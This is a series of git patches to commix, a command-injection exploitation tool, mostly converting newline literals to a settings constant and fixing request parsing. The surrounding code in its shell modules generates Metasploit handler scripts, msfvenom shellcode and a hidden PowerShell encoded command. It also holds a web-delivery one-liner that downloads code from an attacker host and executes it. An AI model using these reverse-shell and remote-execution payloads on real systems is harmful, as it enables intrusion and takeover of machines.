100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -171,7 +171,7 @@ def http_auth_cracker(url, realm, http_request_method): err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " err_msg += "or place an other dictionary into '" err_msg += os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/' directory." - settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.END_LINE.LF + settings.print_critical_msg(err_msg)) return False # eof \ No newline at end of file diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index b05e3e848a..ecc901e275 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -68,21 +68,21 @@ def http_response_content(content): settings.print_data_to_stdout(settings.print_http_response_content(content)) if menu.options.traffic_file: logs.log_traffic(content) - logs.log_traffic("\n\n" + "#" * 77 + "\n\n") + logs.log_traffic(settings.END_LINE.LF * 2 + "#" * 77 + settings.END_LINE.LF * 2) """ Checking the HTTP response headers. """ def http_response(headers, code): - response_http_headers = str(headers).split("\n") + response_http_headers = str(headers).split(settings.END_LINE.LF) for header in response_http_headers: if len(header) > 1: if settings.VERBOSITY_LEVEL >= 3: settings.print_data_to_stdout(settings.print_traffic(header)) if menu.options.traffic_file: - logs.log_traffic("\n" + header) + logs.log_traffic(settings.END_LINE.LF + header) if menu.options.traffic_file: - logs.log_traffic("\n\n") + logs.log_traffic(settings.END_LINE.LF * 2) """ Print HTTP response headers / Body. @@ -103,7 +103,7 @@ def print_http_response(response_headers, code, page): settings.print_data_to_stdout(settings.print_response_msg(resp_msg)) if menu.options.traffic_file: resp_msg = "HTTP response [#" + str(settings.TOTAL_OF_REQUESTS) + "] (" + str(code) + "):" - logs.log_traffic("\n" + resp_msg) + logs.log_traffic(settings.END_LINE.LF + resp_msg) http_response(response_headers, code) if settings.VERBOSITY_LEVEL >= 4 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 4: @@ -143,7 +143,7 @@ def send(self, req): if settings.VERBOSITY_LEVEL >= 2: settings.print_data_to_stdout(settings.print_traffic(header)) if menu.options.traffic_file: - logs.log_traffic("\n" + header) + logs.log_traffic(settings.END_LINE.LF + header) http_client.send(self, req) class connection_handler(_urllib.request.HTTPSHandler, _urllib.request.HTTPHandler, object): @@ -238,7 +238,7 @@ def https_open(self, req): response_headers = response.info() page = checks.process_page_content(response, action="encode") response_headers[settings.URI_HTTP_HEADER] = response.geturl() - response_headers = str(response_headers).strip("\n") + response_headers = str(response_headers).strip(settings.END_LINE.LF) # Handle server-set cookies. if not menu.options.drop_set_cookie: checks.handle_server_cookies(response) @@ -362,7 +362,7 @@ def do_check(request): if menu.options.auth_type.lower() == settings.AUTH_TYPE.BEARER: request.add_header(settings.AUTHORIZATION, "Bearer " + menu.options.auth_cred.strip()) elif menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: - b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '') + b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace(settings.END_LINE.LF, '') request.add_header(settings.AUTHORIZATION, "Basic " + b64_string) elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: try: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 5d3b7ff1a6..77348bbfdc 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -308,7 +308,7 @@ def json_format(parameter): if not settings.IS_XML: data_type = "XML/SOAP" settings.IS_XML = checks.process_data(data_type, http_request_method) - settings.POST_DATA_PARAM_DELIMITER = "\n" + settings.POST_DATA_PARAM_DELIMITER = settings.END_LINE.LF elif settings.TESTABLE_PARAMETERS_LIST and not any(ext in parameter for ext in settings.TESTABLE_PARAMETERS_LIST) and not settings.INJECT_TAG in parameter: if settings.SKIP_NON_CUSTOM_PARAMS: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 60e7676d79..4b55453c64 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -958,7 +958,7 @@ def perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_ # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") + payload_msg = payload.replace(settings.END_LINE.LF, "\\n") settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index f82affc1d2..9a4f8170c6 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -125,17 +125,17 @@ def other_bind_shells(separator): with open (output, "r+") as content_file: data = content_file.readlines() - data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE) + data = ''.join(data).replace(settings.END_LINE.LF,settings.SINGLE_WHITESPACE) settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/handler\n" - "set payload " + payload + "\n" - "set rhost "+ str(settings.RHOST) + "\n" - "set lport "+ str(settings.LPORT) + "\n" - "exploit\n\n") + filewrite.write("use exploit/multi/handler" + settings.END_LINE.LF + + "set payload " + payload + settings.END_LINE.LF + + "set rhost "+ str(settings.RHOST) + settings.END_LINE.LF + + "set lport "+ str(settings.LPORT) + settings.END_LINE.LF + + "exploit" + settings.END_LINE.LF * 2) if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: checks.set_php_working_dir() @@ -216,17 +216,17 @@ def other_bind_shells(separator): with open (output, "r+") as content_file: data = content_file.readlines() - data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE) + data = ''.join(data).replace(settings.END_LINE.LF,settings.SINGLE_WHITESPACE) settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/handler\n" - "set payload " + payload + "\n" - "set rhost "+ str(settings.RHOST) + "\n" - "set lport "+ str(settings.LPORT) + "\n" - "exploit\n\n") + filewrite.write("use exploit/multi/handler" + settings.END_LINE.LF + + "set payload " + payload + settings.END_LINE.LF + + "set rhost "+ str(settings.RHOST) + settings.END_LINE.LF + + "set lport "+ str(settings.LPORT) + settings.END_LINE.LF + + "exploit" + settings.END_LINE.LF * 2) if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: checks.set_php_working_dir() @@ -267,11 +267,11 @@ def other_bind_shells(separator): # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/handler\n" - "set payload " + payload + "\n" - "set rhost "+ str(settings.RHOST) + "\n" - "set lport "+ str(settings.LPORT) + "\n" - "exploit\n\n") + filewrite.write("use exploit/multi/handler" + settings.END_LINE.LF + + "set payload " + payload + settings.END_LINE.LF + + "set rhost "+ str(settings.RHOST) + settings.END_LINE.LF + + "set lport "+ str(settings.LPORT) + settings.END_LINE.LF + + "exploit" + settings.END_LINE.LF * 2) if settings.TARGET_OS == settings.OS.WINDOWS: if not settings.USER_DEFINED_PYTHON_DIR: diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index d97dd5b0e8..a9847013a3 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -227,17 +227,17 @@ def other_reverse_shells(separator): with open (output, "r+") as content_file: data = content_file.readlines() - data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE) + data = ''.join(data).replace(settings.END_LINE.LF,settings.SINGLE_WHITESPACE) settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/handler\n" - "set payload " + payload + "\n" - "set lhost " + str(settings.LHOST) + "\n" - "set lport " + str(settings.LPORT) + "\n" - "exploit\n\n") + filewrite.write("use exploit/multi/handler" + settings.END_LINE.LF + + "set payload " + payload + settings.END_LINE.LF + + "set lhost " + str(settings.LHOST) + settings.END_LINE.LF + + "set lport " + str(settings.LPORT) + settings.END_LINE.LF + + "exploit" + settings.END_LINE.LF * 2) if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: checks.set_php_working_dir() @@ -277,11 +277,11 @@ def other_reverse_shells(separator): # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/handler\n" - "set payload " + payload + "\n" - "set lhost " + str(settings.LHOST) + "\n" - "set lport " + str(settings.LPORT) + "\n" - "exploit\n\n") + filewrite.write("use exploit/multi/handler" + settings.END_LINE.LF + + "set payload " + payload + settings.END_LINE.LF + + "set lhost " + str(settings.LHOST) + settings.END_LINE.LF + + "set lport " + str(settings.LPORT) + settings.END_LINE.LF + + "exploit" + settings.END_LINE.LF * 2) if settings.TARGET_OS == settings.OS.WINDOWS: if not settings.USER_DEFINED_PYTHON_DIR: @@ -331,7 +331,7 @@ def other_reverse_shells(separator): try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -f c -o " + output + settings.NO_OUTPUT, shell=True).wait() with open(output, 'r') as content_file: - repls = {';': '', ' ': '', '+': '', '"': '', '\n': '', 'buf=': '', '\\x': ',0x', 'unsignedcharbuf[]=': ''} + repls = {';': '', ' ': '', '+': '', '"': '', settings.END_LINE.LF: '', 'buf=': '', '\\x': ',0x', 'unsignedcharbuf[]=': ''} shellcode = reduce(lambda a, kv: a.replace(*kv), iter(repls.items()), content_file.read()).rstrip()[1:] # One line shellcode injection with native x86 shellcode # Greetz to Dave Kennedy (@HackingDave) @@ -339,11 +339,11 @@ def other_reverse_shells(separator): other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode(powershell_code.encode('utf_16_le')) settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/handler\n" - "set payload " + payload + "\n" - "set lhost " + str(settings.LHOST) + "\n" - "set lport " + str(settings.LPORT) + "\n" - "exploit\n\n") + filewrite.write("use exploit/multi/handler" + settings.END_LINE.LF + + "set payload " + payload + settings.END_LINE.LF + + "set lhost " + str(settings.LHOST) + settings.END_LINE.LF + + "set lport " + str(settings.LPORT) + settings.END_LINE.LF + + "exploit" + settings.END_LINE.LF * 2) checks.msf_launch_msg(output) except: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) @@ -373,17 +373,17 @@ def other_reverse_shells(separator): checks.gen_payload_msg(payload) subprocess.Popen("python unicorn.py" + settings.SINGLE_WHITESPACE + str(payload) + settings.SINGLE_WHITESPACE + str(settings.LHOST) + settings.SINGLE_WHITESPACE + str(settings.LPORT) + settings.NO_OUTPUT, shell=True).wait() with open(output, 'r') as content_file: - other_shell = content_file.read().replace('\n', '') + other_shell = content_file.read().replace(settings.END_LINE.LF, '') other_shell = _urllib.parse.quote_plus(other_shell) settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file os.remove(output) with open("unicorn.rc", 'w+') as filewrite: - filewrite.write("use exploit/multi/handler\n" - "set payload " + payload + "\n" - "set lhost " + str(settings.LHOST) + "\n" - "set lport " + str(settings.LPORT) + "\n" - "exploit\n\n") + filewrite.write("use exploit/multi/handler" + settings.END_LINE.LF + + "set payload " + payload + settings.END_LINE.LF + + "set lhost " + str(settings.LHOST) + settings.END_LINE.LF + + "set lport " + str(settings.LPORT) + settings.END_LINE.LF + + "exploit" + settings.END_LINE.LF * 2) checks.msf_launch_msg("unicorn.rc") # Return to the current path. os.chdir(current_path) @@ -423,14 +423,14 @@ def other_reverse_shells(separator): if 'payload' in locals(): output = "web_delivery.rc" with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/script/web_delivery\n" - "set target " + str(int(web_delivery)-1) + "\n" - "set payload " + payload + "\n" - "set lhost " + str(settings.LHOST) + "\n" - "set lport " + str(settings.LPORT) + "\n" - "set srvport " + str(settings.SRVPORT) + "\n" - "set uripath " + settings.URIPATH + "\n" - "exploit\n\n") + filewrite.write("use exploit/multi/script/web_delivery"+ settings.END_LINE.LF + + "set target " + str(int(web_delivery)-1) + settings.END_LINE.LF + + "set payload " + payload + settings.END_LINE.LF + + "set lhost " + str(settings.LHOST) + settings.END_LINE.LF + + "set lport " + str(settings.LPORT) + settings.END_LINE.LF + + "set srvport " + str(settings.SRVPORT) + settings.END_LINE.LF + + "set uripath " + settings.URIPATH + settings.END_LINE.LF + + "exploit" + settings.END_LINE.LF * 2) if web_delivery == '1': data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b" diff --git a/src/utils/common.py b/src/utils/common.py index f214222fdb..b380b097ca 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -65,8 +65,8 @@ def is_empty(): return value try: value = None - if "\n" in message: - message += ("\n" if message.count("\n") > 1 else "") + if settings.END_LINE.LF in message: + message += (settings.END_LINE.LF if message.count(settings.END_LINE.LF) > 1 else "") elif len(message) == 0: return is_empty() if settings.ANSWERS: @@ -171,7 +171,7 @@ def create_github_issue(err_msg, exc_msg): key = hashlib.md5(_).hexdigest()[:8] - bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\" " + "(#" + key + ")" + bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split(settings.END_LINE.LF) if i][-1]) + "\" " + "(#" + key + ")" while True: try: @@ -191,7 +191,7 @@ def create_github_issue(err_msg, exc_msg): settings.print_data_to_stdout("") raise SystemExit() - err_msg = err_msg[err_msg.find("\n"):] + err_msg = err_msg[err_msg.find(settings.END_LINE.LF):] request = _urllib.request.Request(url="https://api.github.com/search/issues?q=" + \ _urllib.parse.quote("repo:commixproject/commix" + settings.SINGLE_WHITESPACE + str(bug_report)) ) @@ -224,7 +224,7 @@ def create_github_issue(err_msg, exc_msg): issue_url = re.search(r"https://github.com/commixproject/commix/issues/\d+", content.decode(settings.DEFAULT_CODEC) or "") if issue_url: - info_msg = "The created Github issue can been found at the address '" + str(issue_url.group(0)) + "'.\n" + info_msg = "The created Github issue can been found at the address '" + str(issue_url.group(0)) + "'." + settings.END_LINE.LF settings.print_data_to_stdout(settings.print_info_msg(info_msg)) else: warn_msg = "Something went wrong while creating a Github issue." @@ -292,14 +292,14 @@ def unhandled_exception(): raise SystemExit() elif all(_ in exc_msg for _ in ("No such file", "_'")): - err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). " + err_msg = "Corrupted installation detected ('" + exc_msg.strip().split(settings.END_LINE.LF)[-1] + "'). " err_msg += "You should retrieve the latest (dev) version from official GitHub " err_msg += "repository at '" + settings.GIT_URL + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif "Invalid IPv6 URL" in exc_msg: - err_msg = "invalid URL ('" + exc_msg.strip().split('\n')[-1] + "')" + err_msg = "invalid URL ('" + exc_msg.strip().split(settings.END_LINE.LF)[-1] + "')" settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -355,13 +355,13 @@ def unhandled_exception(): err_msg += "reproduce the bug. The " err_msg += "developers will try to reproduce the bug, fix it accordingly " err_msg += "and get back to you.\n" - err_msg += settings.APPLICATION.capitalize() + " version: " + settings.VERSION[1:] + "\n" - err_msg += "Python version: " + settings.PYTHON_VERSION + "\n" - err_msg += "Operating system: " + os.name + "\n" - err_msg += "Command line: " + re.sub(r".+?\bcommix\.py\b", "commix.py", " ".join(sys.argv)) + "\n" + err_msg += settings.APPLICATION.capitalize() + " version: " + settings.VERSION[1:] + settings.END_LINE.LF + err_msg += "Python version: " + settings.PYTHON_VERSION + settings.END_LINE.LF + err_msg += "Operating system: " + os.name + settings.END_LINE.LF + err_msg += "Command line: " + re.sub(r".+?\bcommix\.py\b", "commix.py", " ".join(sys.argv)) + settings.END_LINE.LF err_msg = mask_sensitive_data(err_msg) exc_msg = re.sub(r'".+?[/\\](\w+\.py)', r"\"\g<1>", exc_msg) - settings.print_data_to_stdout(settings.print_critical_msg(err_msg + "\n" + exc_msg.rstrip())) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + settings.END_LINE.LF + exc_msg.rstrip())) create_github_issue(err_msg, exc_msg[:]) """ diff --git a/src/utils/crawler.py b/src/utils/crawler.py index fe32283fbb..a9a92b3e97 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -113,7 +113,7 @@ def store_crawling(output_href): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as crawling_results: for url in output_href: - crawling_results.write(str(url.encode(settings.DEFAULT_CODEC).decode()) + "\n") + crawling_results.write(str(url.encode(settings.DEFAULT_CODEC).decode()) + settings.END_LINE.LF) return elif message in settings.CHOICE_NO: return diff --git a/src/utils/install.py b/src/utils/install.py index 9901796522..1e743f2da7 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -108,7 +108,7 @@ def installer(): try: with open(launcher_path, 'w') as f: f.write("#!/bin/bash\n") - f.write("cd " + app_install_path + " && ./" + settings.APPLICATION + ".py \"$@\"\n") + f.write("cd " + app_install_path + " && ./" + settings.APPLICATION + ".py \"$@\"" + settings.END_LINE.LF) subprocess.call("chmod +x " + launcher_path + settings.NO_OUTPUT, shell=True) except Exception as e: err_msg = "Failed to create launcher: " + str(e) diff --git a/src/utils/logs.py b/src/utils/logs.py index c9e1b73282..b440167458 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -116,12 +116,12 @@ def create_log_file(url, output_dir): try: with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: - output_file.write("\n" + "=" * 37) - output_file.write("\n" + "| Started in " + \ + output_file.write(settings.END_LINE.LF + "=" * 37) + output_file.write(settings.END_LINE.LF + "| Started in " + \ str(date.today()) + \ " at " + datetime.now().strftime("%H:%M:%S") + " |") - output_file.write("\n" + "=" * 37) - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url) + output_file.write(settings.END_LINE.LF + "=" * 37) + output_file.write(settings.END_LINE.LF + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url) except IOError as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." @@ -144,8 +144,8 @@ def add_type_and_technique(export_injection_info, filename, injection_type, tech settings.SHOW_LOGS_MSG = True with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title()) - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title()) + output_file.write(settings.END_LINE.LF + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title()) + output_file.write(settings.END_LINE.LF + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title()) export_injection_info = True return export_injection_info @@ -159,9 +159,9 @@ def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, header_name = " ("+ header_name[1:] + ") " + vuln_parameter if header_name[1:] == "": header_name = " ("+ http_request_method + ") " + vuln_parameter - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + the_type[1:].title() + ": " + header_name[1:]) + output_file.write(settings.END_LINE.LF + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + the_type[1:].title() + ": " + header_name[1:]) vp_flag = False - output_file.write("\n") + output_file.write(settings.END_LINE.LF) """ @@ -170,10 +170,10 @@ def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, def update_payload(filename, counter, payload): with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: - if "\n" in payload: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", settings.SINGLE_WHITESPACE, _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n") + if settings.END_LINE.LF in payload: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", settings.SINGLE_WHITESPACE, _urllib.parse.unquote_plus(payload.replace(settings.END_LINE.LF, "\\n"))) + settings.END_LINE.LF) else: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", settings.SINGLE_WHITESPACE) + "\n") + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", settings.SINGLE_WHITESPACE) + settings.END_LINE.LF) """ Add any executed command and @@ -183,8 +183,8 @@ def executed_command(filename, cmd, output): try: with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + str(output.encode(settings.DEFAULT_CODEC).decode()) + "\n") + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + settings.END_LINE.LF) + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + str(output.encode(settings.DEFAULT_CODEC).decode()) + settings.END_LINE.LF) except: pass diff --git a/src/utils/update.py b/src/utils/update.py index fa109f9cd7..2c0b4c91c7 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -52,7 +52,7 @@ def revision_num(): rev_num = match.group(0) if match else None info_msg += " the latest revision '" + str(rev_num[:7]) + "'." else: - settings.print_data_to_stdout(Fore.MAGENTA + "\n" + stdout + Style.RESET_ALL) + settings.print_data_to_stdout(Fore.MAGENTA + settings.END_LINE.LF + stdout + Style.RESET_ALL) end = time.time() exec_time = int(end - start) info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(exec_time)) + "." From 4e4b726b724b5c7c51c481474dce6609943136c6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 13 Oct 2025 08:56:45 +0300 Subject: [PATCH 0640/1023] Update settings.py --- src/utils/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index fc07a12dc9..1ec73022b3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "111" +REVISION = "112" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 52479c68421d34f9eb3bdc6f348a04661426ff29 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 14 Oct 2025 07:04:06 +0300 Subject: [PATCH 0641/1023] Fixes https://github.com/commixproject/commix/issues/1064 --- src/core/injections/controller/parser.py | 8 +++++++- src/utils/settings.py | 2 +- 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 45c4249995..0bc3dd1fa6 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -107,8 +107,14 @@ def invalid_data(request): if len(re.findall(pattern, request)) > 1: single_request = multi_requests() + # Safely determine HTTP method if len(settings.HTTP_METHOD) == 0: - http_method = request.strip().splitlines()[0].split()[0] + lines = request.strip().splitlines() + if lines and len(lines[0].split()) >= 1: + http_method = lines[0].split()[0] + else: + # fallback to default method if malformed/empty + http_method = settings.HTTPMETHOD.GET settings.HTTP_METHOD = http_method else: http_method = settings.HTTP_METHOD diff --git a/src/utils/settings.py b/src/utils/settings.py index 1ec73022b3..2ef5fcd2cc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "112" +REVISION = "113" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 565f90ae2c5bb25a11c3dc0e3c6dcd4ca4aa9d1b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 15 Oct 2025 06:45:50 +0300 Subject: [PATCH 0642/1023] Update regarding commit https://github.com/commixproject/commix/commit/8f5c35b2a951f1ad26f3c684f78c3a60b45dd1fd --- src/utils/common.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index b380b097ca..8b6e6ab5dc 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -171,7 +171,7 @@ def create_github_issue(err_msg, exc_msg): key = hashlib.md5(_).hexdigest()[:8] - bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split(settings.END_LINE.LF) if i][-1]) + "\" " + "(#" + key + ")" + bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\" " + "(#" + key + ")" while True: try: @@ -292,14 +292,14 @@ def unhandled_exception(): raise SystemExit() elif all(_ in exc_msg for _ in ("No such file", "_'")): - err_msg = "Corrupted installation detected ('" + exc_msg.strip().split(settings.END_LINE.LF)[-1] + "'). " + err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). " err_msg += "You should retrieve the latest (dev) version from official GitHub " err_msg += "repository at '" + settings.GIT_URL + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif "Invalid IPv6 URL" in exc_msg: - err_msg = "invalid URL ('" + exc_msg.strip().split(settings.END_LINE.LF)[-1] + "')" + err_msg = "invalid URL ('" + exc_msg.strip().split('\n')[-1] + "')" settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 2ef5fcd2cc..dcc8579cf7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "113" +REVISION = "114" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 01dae51f679c06ade330309f3343255103d3dd30 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 16 Oct 2025 08:27:35 +0300 Subject: [PATCH 0643/1023] Minor update to request URL parsing using safe regex match --- src/core/injections/controller/parser.py | 4 +++- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 0bc3dd1fa6..f7da93fe3e 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -119,7 +119,9 @@ def invalid_data(request): else: http_method = settings.HTTP_METHOD - request_url = re.findall(r"" + " (.*)" + " HTTP/", request) + # Safely extract request URL + match = re.search(r"\s(.*?)\sHTTP/", request or "") + request_url = match.group(1) if match else "" if not request_url: invalid_data(request_file) diff --git a/src/utils/settings.py b/src/utils/settings.py index dcc8579cf7..ee08622b49 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "114" +REVISION = "115" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8bd4da8403321d95a74add904aebca37fae9455c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 17 Oct 2025 06:35:59 +0300 Subject: [PATCH 0644/1023] Update regarding commit https://github.com/commixproject/commix/commit/8f5c35b2a951f1ad26f3c684f78c3a60b45dd1fd --- src/utils/common.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index 8b6e6ab5dc..b380b097ca 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -171,7 +171,7 @@ def create_github_issue(err_msg, exc_msg): key = hashlib.md5(_).hexdigest()[:8] - bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\" " + "(#" + key + ")" + bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split(settings.END_LINE.LF) if i][-1]) + "\" " + "(#" + key + ")" while True: try: @@ -292,14 +292,14 @@ def unhandled_exception(): raise SystemExit() elif all(_ in exc_msg for _ in ("No such file", "_'")): - err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). " + err_msg = 